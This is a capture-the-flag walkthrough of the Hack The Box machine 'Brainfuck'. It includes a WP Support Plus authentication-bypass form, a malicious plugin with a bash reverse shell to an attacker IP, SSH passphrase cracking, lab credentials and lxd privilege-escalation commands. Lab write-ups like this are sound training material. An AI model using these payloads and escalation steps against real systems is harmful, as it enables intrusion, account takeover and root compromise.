Hack The Box - BrainFuck Walkthrough without Metasploit

Enumeration

We will use nmapAutomator script for this box:

It's a really useful script, easy to use and that will quickly show us the open ports, then it'll perform some basic scans on those ports, to do so it runs nmap, gobuster, nikto, smbmap, wpscan.. among others, really useful to have it running on the background meanwhile we work on the open ports, but remember sometimes we will have to use tools such as gobuster manually with other wordlists in order to find certain pages that might not be included in the wordlist used by this script, scripts to enum are useful but we shouldn't totally relay on them.

We will run it with the flag All which run all the scans consecutively, but it's the one that takes more time:

./nmapAutomator.sh 10.10.10.17 All

The Basic Nmap scan returns the following:

Ports

We have the Following ports open

25, 110, 143

This ports are all related to mailing, for now, we will let them be, as we have a potentially better attacking vector at other port.

443

This port is related to HTTPS, so let's try to see if there's anything interesting:

The index page gives us the title Welcome to nginx!. This is likely a configuration issue where the IP address does not know which hostname it should map to in order to serve a specific site, and instead it's serving the nginx default page.

In order to fix this issue we need to figure out the hostname (or hostnames) that resolve to this IP address and then we will need to map them on our /etc/hosts file. From our previous nmap scan we can get three possible hostnames:

Adding hostnames

In this machine we do need to add the discovered hostnames to our /etc/hosts in order be able to visit the different potential pages:

sudo nano /etc/hosts

Wordpress Page

On https://www.brainfuck.htb or https://brainfuck.htb we will access the following web page:

It's a Wordpress page and we can already see a username orestis, we will be running WPScan now on the background to see if we can find any vulnerabilities on this Wordpress, we will run it with the following flags:

--url --> Needed to specify the url where the wordpress site being scanned is

--passwords --> here we will choose our wordlist to try and bruteforce possible users

wpscan --url https://brainfuck.htb/ --passwords /path/to/your/wordlist

In this case the scan has failed since it's HTTPS but WPScan has a flag we can choose in order to try and scan it:

--disable-tls-checks

wpscan --url https://brainfuck.htb/ --passwords rockyou.txt --disable-tls-checks

The output is quite big, but the most important things we have noticed:

Plugin

They have installed wp-support-plus-responsive-ticket-system

And we also know the version:

With a quick search:

searchsploit WP Support Plus

Users

We couldn't bruteforce any password but we have two users and a vulnerable plugin.

We edit the Proof of Concept so we can use it:

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="administrator">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

We set up a quick and fast python Simple Http Server to access the file:

And access the file:

We press on Login and go back to our Wordpress page to refresh it, we will see we are now the administrator:

Sadly there isn't much to do as Administrator, but if we try with the other user admin:

If we go to Dashboard:

Normally, what we would do first when we log in with an administrator account in Wordpress is either to modify an Appearance Theme page in order to get a reverse shell:

Going to Appearance --> Editor --> Selecting a template (for example the 404.php) and editing its content with a reverse shell like pentestmonkey one:

And then Updating the file so we can access it from our browser

As we can see the files are not writable, so this is not an option.

Our second choice would be to try and upload a malicious plugin, in order to do that we have to first create the "plugin", we first create an evilplugin.php and then zip it:

<?php
   exec("/bin/bash -c 'bash -i >& /dev/tcp/your-ip/port 0>&1'");
?>

But sadly it doesn't load and keeps on giving us an error page.

Inside the Dashboard if we go to Settings we will find Easy WP SMTP and we can see there a username and a password:

As username we have orestis but the password is protected... right? Well unless we right click and view the source code... in that case..

Now we have a username and password for SMPT (mail service)

orestis // kHGuERB29DNiNE

Wordpress Side Note

From time to time WPScan will ask for updates, I do recommend to take that extra seconds and update it:

I really do recommend to take the 5 minutes it takes to create a free account (or paid one if you need to do lots of scans...) and get your WPScan key so you can get the max out of this great tool:

Mail Application - Evolution

It seems we are going to need a mail application in order to use our SMTP user and pass, I decided to install evolution installation is quite simple:

sudo apt-get install evolution

Once installed we need to configure our new mail, we open up evolution and go to:

File --> New --> Mail Account

As Identity we will use orestis and as mail orestis@brainfuck.htb

On Receiving Email we will configure as follows:

Server Type --> IMAP

Server --> brainfuck.htb

Port --> 143

Username --> orestis

Encryption method --> No encryption

We can leave Receiving Options as they are by default:

We will configure the Sending Email as follows:

Server Type --> SMTP

Server --> brainfuck.htb

Port --> 25

Encryption method --> No encryption

Clicking on next we will be able to see our new account summary:

We click on Next and Apply the changes, a pop-up will appear asking us for the password:

Once we enter our password we will be able to see our inbox, we have some mails:

We got a new password for the super secret forum we discovered before, seems we have finished with Wordpress and its time to move on to Super Secret Forum with our user and password:

orestis // kIEnnfEKJ#9UmdO

Super Secret Forum page

On https://sup3rs3cr3t.brainfuck.htb we have the following page:

We log in with the new credentials:

There are some interesting conversations going on in this forum:

So it seems they are going to use some kind of encryption to communicate on another thread...

Now we need to know what kind of encryption are they using... we can try to narrow it down with this online tool:

Cipher Identifier

The user is using all the time the same sign "Orestis - Hacking for fun and profit" and on the encrypted conversation we could see something that resembles a sign "Wejmvse - Fbtkqal zqb rso rnl cwihsf"

Decipher

Now we can be "fairly" sure it's Vigenère cipher, so let's make a python script in order to get the key to decipher it:

#!/bin/python

print ("Vigenere Decipher\n")
print ("Text must be entered without Symbols or Space\n")

plain = raw_input("Enter Known Text: ")
encrypted = raw_input("Enter the corresponding Encrypted text to the known text: ")
password = ""

for i in range(len(plain)):
    x = ((ord(encrypted[i]) - ord(plain[i])) % 26) + 97
    char = chr(x)
    password = password + char

print password

Script explanation

In order to be able to decrypt the text we need first to obtain the key/password. To do so we need to know some clear text that corresponds to some cyphered text. In our case our user has a sign that keeps on using, so we will be using that to get our key.

If you want to know something more about Vigenère cipher:

Following the instructions of that link we know that the password n letter is calculated by subtracting the n encrypted letter to the n plain letter (the key would be repeated as many times as necessary) modulo 26.

Pn=(EnPn)mod26Pn = (En - Pn) mod 26

Since we cannot subtract a string from another string in python, we will use the ord() function, which returns an integer representing the Unicode Character, now we can apply the formula in order to get the password, but we need to add 97 at the end, since on Unicode the latin alphabet (lowercase) starts at 97.

Our script will repeat this process for each letter on the plain text given.

We will use the user sign OrestisHackingforfunandprofit and the corresponding cipher text PieagnmJkoijegnbwzwxmlegrwsnn .

We can get from this that the password for decrypting the messages is "fuckmybrain" so now we go back to https://www.boxentriq.com/code-breaking/vigenere-cipher in order to decrypt the messages, the one we are interested in is : "mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq0zc8/frmfycu/sp_ptr"

Now we can download what seems to be a ssh key, since its https we will have to add flag to avoid certificates issues --no-check-certificate

wget https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa --no-check-certificate

We have to change the permissions on id_rsa:

chmod 600 id_rsa

And now we try to log in with it:

ssh -i id_rsa orestis@10.10.10.17

And it fails! We need a passphrase along with the key in order to enter... luckily we have John The Ripper:

python /usr/share/john/ssh2john.py id_rsa > pass

john pass -w /password_list/rockyou.txt

Sometimes John may forget to show you the password... if that happens, you can retrieve it by using:

john --show pass

Now we can log in with the passphrase "3poulakia!"

We are finally in and we can grab our user flag ! But something more important quickly catch our eye... we are part of the lxd group and there are some files encrypt.sage, debug.txt, output.txt on our folder...

Privilege Escalation

First thing we do is fire up a python SimpleHTTPServer on our machine (we have to start it in the directory containing the files we want to transfer) in order to grab some enumeration scripts:

python -m SimpleHTTPServer 80

And on the victim we will grab linpeas.sh script and chmod +x it in order to be able to execute it.

Awesome Scripts Suite for Privilege Escalation (really awesome :D )
wget 10.10.14.3/linpeas.sh
chmod +x linpeas.sh

So out of all the output from linpeas.sh the most interesting thing we found is what we saw upon entering:

lxd Group Exploitation

LXD is a next gen system container manager, its similar to virtual machines but using Linux containers, if you want to know more about it:

In order to try an exploit our group privileges we will use the Method 1 of this guide:

Once we have ready our alpine container we transfer it to the victim:

We need to import the container with an alias:

lxc image import ./alpine.tar.gz --alias Evil

Once imported we will initialize it and make that container a privileged one (this is the important part in order to exploit our lxd membership):

lxc init Evil ignite -c security.privileged=true

Now we configure the container:

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

Finally we just need to start and execute it:

lxc start ignite
lxc exec ignite /bin/sh

If we have followed this steps we should be root (and now we can grab our root flag)

Since we have created a privileged container and we are root on it... we can access actual root directory

cd /mnt/root/root

and we can grab root flag.

Pwnd

Extra Ball

So... if we remember, we had some files on our user directory encrypt.sage, debug.txt and output.txt

nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

So this script is reading the content of roots flag, and placing its value into the var m, then it creates two random numbers p and q, multiply them and puts that value in n then it calculates phi (p-1)*(q-1), finally we have the final values of c (the encrypted password) which is written on output.txt and the values of p, q and e on debug.txt

Looking how to calculate the RSA given the values we have found the following link :

Modifying the script on that page we end up with this one:

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def main():

    p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

    # compute n
    n = p * q

    # Compute phi(n)
    phi = (p - 1) * (q - 1)

    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a

    print( "n:  " + str(d) );

    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print( "pt: " + str(pt) )

if __name__ == "__main__":
    main()

As we can see we have the password (root.txt) value, but now we need to decode it as it was hex encoded at the beginning of encrypt.sage, for that we will modify our script, it will finally look like this:

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def main():

    p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

    # compute n
    n = p * q

    # Compute phi(n)
    phi = (p - 1) * (q - 1)

    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a

    print( "n:  " + str(d) );

    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print( "pt: " + str(pt) )
    
    root = hex(pt)
    root = str(root[2:-1])
    print root.decode("hex")
if __name__ == "__main__":
    main()    

now if we execute it again..

Last updated